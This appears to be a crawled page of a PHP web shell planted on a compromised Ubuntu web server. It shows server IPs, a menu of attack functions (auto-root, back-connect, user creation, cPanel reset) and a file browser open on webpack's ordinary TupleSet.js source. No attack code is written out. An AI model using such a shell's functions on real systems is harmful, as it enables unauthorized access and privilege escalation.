Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
webpack /
lib /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
hash
[ DIR ]
dr-xr-xr-x
ArrayHelpers.js
1.5
KB
-rw-rw-rw-
ArrayQueue.js
1.93
KB
-rw-rw-rw-
AsyncQueue.js
10.27
KB
-rw-rw-rw-
Hash.js
925
B
-rw-rw-rw-
IterableHelpers.js
958
B
-rw-rw-rw-
LazyBucketSortedSet.js
5.88
KB
-rw-rw-rw-
LazySet.js
5.01
KB
-rw-rw-rw-
MapHelpers.js
1.06
KB
-rw-rw-rw-
ParallelismFactorCalculator.js
1.73
KB
-rw-rw-rw-
Queue.js
1.04
KB
-rw-rw-rw-
Semaphore.js
1
KB
-rw-rw-rw-
SetHelpers.js
2.31
KB
-rw-rw-rw-
SortableSet.js
3.63
KB
-rw-rw-rw-
StackedCacheMap.js
3.31
KB
-rw-rw-rw-
StackedMap.js
3.34
KB
-rw-rw-rw-
StringXor.js
2.97
KB
-rw-rw-rw-
TupleQueue.js
1.3
KB
-rw-rw-rw-
TupleSet.js
3.05
KB
-rw-rw-rw-
URLAbsoluteSpecifier.js
2.48
KB
-rw-rw-rw-
WeakTupleMap.js
3.99
KB
-rw-rw-rw-
binarySearchBounds.js
4.12
KB
-rw-rw-rw-
chainedImports.js
4.18
KB
-rw-rw-rw-
cleverMerge.js
17.6
KB
-rw-rw-rw-
comparators.js
13.6
KB
-rw-rw-rw-
compileBooleanMatcher.js
6.45
KB
-rw-rw-rw-
concatenate.js
6.65
KB
-rw-rw-rw-
conventions.js
2.89
KB
-rw-rw-rw-
create-schema-validation.js
1.16
KB
-rw-rw-rw-
createHash.js
5.46
KB
-rw-rw-rw-
deprecation.js
8.13
KB
-rw-rw-rw-
deterministicGrouping.js
14.56
KB
-rw-rw-rw-
extractUrlAndGlobal.js
531
B
-rw-rw-rw-
findGraphRoots.js
6.02
KB
-rw-rw-rw-
fs.js
22.84
KB
-rw-rw-rw-
identifier.js
11.75
KB
-rw-rw-rw-
internalSerializables.js
10.87
KB
-rw-rw-rw-
magicComment.js
567
B
-rw-rw-rw-
makeSerializable.js
1.79
KB
-rw-rw-rw-
memoize.js
678
B
-rw-rw-rw-
nonNumericOnlyHash.js
562
B
-rw-rw-rw-
numberHash.js
2.86
KB
-rw-rw-rw-
objectToMap.js
343
B
-rw-rw-rw-
processAsyncTree.js
1.55
KB
-rw-rw-rw-
propertyAccess.js
727
B
-rw-rw-rw-
propertyName.js
1.31
KB
-rw-rw-rw-
registerExternalSerializer.js
7.72
KB
-rw-rw-rw-
runtime.js
15.79
KB
-rw-rw-rw-
semver.js
17.46
KB
-rw-rw-rw-
serialization.js
4.6
KB
-rw-rw-rw-
smartGrouping.js
5.14
KB
-rw-rw-rw-
source.js
1.72
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TupleSet.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** * @template {any[]} T */ class TupleSet { /** * @param {Iterable<T>=} init init */ constructor(init) { /** @type {Map<T, TODO>} */ this._map = new Map(); this.size = 0; if (init) { for (const tuple of init) { this.add(...tuple); } } } /** * @param {T} args tuple * @returns {void} */ add(...args) { let map = this._map; for (let i = 0; i < args.length - 2; i++) { const arg = args[i]; const innerMap = map.get(arg); if (innerMap === undefined) { map.set(arg, (map = new Map())); } else { map = innerMap; } } const beforeLast = args[args.length - 2]; let set = map.get(beforeLast); if (set === undefined) { map.set(beforeLast, (set = new Set())); } const last = args[args.length - 1]; this.size -= set.size; set.add(last); this.size += set.size; } /** * @param {T} args tuple * @returns {boolean} true, if the tuple is in the Set */ has(...args) { let map = this._map; for (let i = 0; i < args.length - 2; i++) { const arg = args[i]; map = map.get(arg); if (map === undefined) { return false; } } const beforeLast = args[args.length - 2]; const set = map.get(beforeLast); if (set === undefined) { return false; } const last = args[args.length - 1]; return set.has(last); } /** * @param {T} args tuple * @returns {void} */ delete(...args) { let map = this._map; for (let i = 0; i < args.length - 2; i++) { const arg = args[i]; map = map.get(arg); if (map === undefined) { return; } } const beforeLast = args[args.length - 2]; const set = map.get(beforeLast); if (set === undefined) { return; } const last = args[args.length - 1]; this.size -= set.size; set.delete(last); this.size += set.size; } /** * @returns {Iterator<T>} iterator */ [Symbol.iterator]() { /** @type {TODO[]} */ const iteratorStack = []; /** @type {T[]} */ const tuple = []; /** @type {Iterator<T> | undefined} */ let currentSetIterator; /** * @param {TODO} it iterator * @returns {boolean} result */ const next = it => { const result = it.next(); if (result.done) { if (iteratorStack.length === 0) return false; tuple.pop(); return next(iteratorStack.pop()); } const [key, value] = result.value; iteratorStack.push(it); tuple.push(key); if (value instanceof Set) { currentSetIterator = value[Symbol.iterator](); return true; } return next(value[Symbol.iterator]()); }; next(this._map[Symbol.iterator]()); return { next() { while (currentSetIterator) { const result = currentSetIterator.next(); if (result.done) { tuple.pop(); if (!next(iteratorStack.pop())) { currentSetIterator = undefined; } } else { return { done: false, value: /** @type {T} */ (tuple.concat(result.value)) }; } } return { done: true, value: undefined }; } }; } } module.exports = TupleSet;
Close